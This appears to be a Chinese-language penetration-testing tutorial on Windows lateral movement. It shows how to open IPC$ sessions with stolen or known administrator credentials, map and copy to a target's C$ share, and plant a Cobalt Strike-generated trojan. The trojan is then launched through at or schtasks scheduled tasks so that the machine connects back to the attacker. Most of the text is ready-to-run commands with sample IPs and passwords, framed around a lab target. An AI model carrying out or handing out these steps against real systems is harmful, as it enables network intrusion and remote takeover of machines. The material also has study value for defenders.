0x00 前言

IPC$(Internet Process Connection) 是为了让进程之间通信的一种“管道”,通过提供用户名密码建立了一条安全的、加密的、用于数据交换的通道。当然,还是在同一个时间,还是同样的两个IP,他们之间只能建立一个IPC$连接,脚踏多条船无论什么时候都是不可取的。通过这个连接,可以实现在被连接的目标机器上搞文件上传、下载、命令执行……

IPC$默认大概率会禁用空密码的用户进行连接,并且目前的windows系统在安装的时候都会默认禁用Administrator用户,而是创建一个普通用户并把它加到管理组内

0x01 前提条件

  • 139或445端口开启

    目标机器没有禁用IPC$连接,没有什么防火防盗拦截IPC$,139 445 端口也开了(能走445走445,不能则走139)

SMB协议(445端口):windows文件打印共享服务

NETBios(139端口):NetBIOS协议是一种在局域网上的程序可以使用的应用程序编程接口(API)

  • 知道管理员的密码(明文)

0x02 常用命令

建立空连接

1
net use \\10.1.10.7\ipc$ "" /user:""

建立完整的用户名,密码连接

1
2
net use \\10.1.10.7\ipc$ "password" /user:"username"   #工作组内
net use \\10.1.10.7\ipc$ "1qaz@WSX" /user:fzm\user1 #域内

列出主机的进程

1
tasklist /S 10.1.10.7 /U administrator /P Aa123456

删除IPC$连接

1
net use \\10.1.10.7\ipc$ /del

映射路径 (将对方的c盘映射为自己的z盘,其他盘类推)

1
2
net use z: \\win7\c$ "1qaz@WSX" /user:fzm\user1
net use z: \\win7\c$ #已经建立连接的情况下
image-20221101153110495 image-20221101153150564

访问/删除路径

1
2
3
net use z: \\10.1.10.7\c$   #直接访问
net use z: /del #删除映射的z盘
net use * /del #删除全部,会有提示要求按y确认
1
net share       #查看自己的共享

复制文件到对方服务器上

1
copy abc.exe \\win7\c$
image-20221101154049065

0x03 windows 计划任务

at命令

接下来创建windows计划任务,自动执行木马反弹连接到攻击机器

在windows中常用的就是计划任务at和schtasks

at 命令是Windows自带的用于创建计划任务的命令,但是at 命令只在2003及以下的版本使用。我们可以通过at命令通过跳板机在目标主机DC上创建计划任务,让计算机在指定的时间执行木马程序,从而获得对内网目标主机的控制。

at计划命令在实战中主要有两个用处:

一是在获取webshell后不能够执行系统命令的情况下可以用at命令将命令执行后写入txt再用type读取,二是利用at计划任务命令上线cs或者msf

1
2
at \\192.168.52.141 16:40:00 cmd.exe /c "命令 > c:\result.txt"
type \\192.168.52.141\c$\result.txt

二是利用at计划任务上线cs或msf,这里我使用的是cs生成的exe

1.首先与主机建立ipc连接

1
net use \\10.1.10.7\ipc$ "1qaz@WSX" /user:fzm\user1

2.确定主机时间

1
net time \\10.1.10.7
image-20221101160157139

3.使用cs生成木马利用copy命令拷贝到主机上

image-20221101154049065

4.使用at命令创建计划任务

1
2
3
at \\<靶机ip> <启动时间> <木马在靶机的位置>

at \\win7 16:24:00 c:\abc.exe
image-20221101162512318

image-20221101163225010

schtasks命令

在2008及以后的系统中已经将at命令废弃,改用schtasks命令代替了at命令,原因是因为schtasks命令比at命令使用起来更加灵活。

这里使用schtasks命令计划任务上线的思想跟at命令大同小异

1.与主机建立ipc连接

1
net use \\10.1.10.10\ipc$ "abc12345." /user:fzm\administrator

2.使用copy命令将exe复制到靶机里

1
copy abc.exe \\10.1.10.10\c$

3.查看靶机时间

1
net time \\10.1.10.10

4.使用schtasks创建名为test的计划任务

1
2
3
4
#/s 目标 /u 用户名 /p 密码  /tn 计划任务名  /tr 指定文件路径   /sc 执行次数 或频率   /st 开始时间

//c /create /TN test /TR C:\abc.exe /SC once /ST 17:32 #本地执行
schtasks /create /s 10.1.10.10 /u "fzm\administrator" /p "abc12345." /tn 8 /tr c:/2.exe /sc once /st 17:33

image-20221101173427414

image-20221101173409241

可以用如下schtasks命令查看创建的计划任 cs

1
schtasks /query /tn 8
image-20221101173905760

5.删除计划任务

1
schtasks /delete /tn 8

schtasks /create创建计划任务,可加参数如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
/sc   计划任务类型,可选值为MINUTE、HOURLY、DAILY、WEEKLY、ONCE、ONSTART、ONLOGON、ONIDLE、MONTHLY、ONEVENT
/tn 计划任务名称,后续查询、修改、删除、执行时使用
/tr 需要运行的程序或命令,传入的命令中间如果有空格会被截断为程序和参数,因此需要将双引号转义并传入。
/ru 运行任务的用户账户名,不使用此参数的话使用执行schtasks命令的账户运行计划任务
/rp 运行任务的用户账户密码
/mo 指定任务在计划类型中的运行间隔
/d 指定任务在一个月或者星期的某一天运行,只适用于MONTHLY和WEEKLY类型。
/m 指定任务在某个月运行,只适用于MONTHLY类型。
/i 当计划任务类型为ONIDLE时,运行任务前计算机处于空闲状态的分钟数。
/st 当计划任务类型为MINUTE、HOURLY、DAILY、WEEKLY、MONTHLY时使用,指定任务的开始时间,默认为本地计算机的当前时间。
/ri 指定计划任务的重复间隔,以分钟为单位。不适合计划类型:MINUTE、HOURLY、ONSTART、ONLOGON、ONIDLE
/et 指定计划任务的结束时间,适用于计划类型:MINUTE、HOURLY, 在指定的结束时间之后,schtasks 不会再次启动任务,除非当前系统时间调回开始时间。默认情况下,没有结束时间。
/du 指定任务计划的持续时间,与/et类似,默认情况下没有持续时间。
/k 在指定计划任务的结束时间或持续时间后停止任务,如果不加此参数,则在时间到了会继续运行或者重启该任务。
/it 只在用户登录时运行
/z 在任务计划完成后删除任务计划
/f 在创建任务时如果任务已存在不显示警告
/RL 为作业设置运行级别。有效值为LIMITED 和 HIGHEST。默认值为 LIMITED。
/F 如果指定的任务已经存在,则强制创建任务并抑制警告。


当使用了/sc参数为MINUTE、HOURLY、DAILY、WEEKLY时,我们需要指定/mo运行的间隔时间

MINUTE: 1 到 1439 分钟。
HOURLY: 1 - 23 小时。
DAILY: 1 到 365 天。
WEEKLY: 1 到 52 周。
ONCE:
ONSTART:
ONLOGON:
ONIDLE:
MONTHLY: 1 到 12,或
FIRST, SECOND, THIRD, FOURTH, LAST, LASTDAY。
ONEVENT: XPath 事件查询字符串。

在使用schtasks命令时,会在系统中留下日志文件C:\Windows\Tasks\SCHEDLGU.txt如果执行schtasks命令后没有回显,可配合ipc$执行文件,使用type命令远程查看执行结果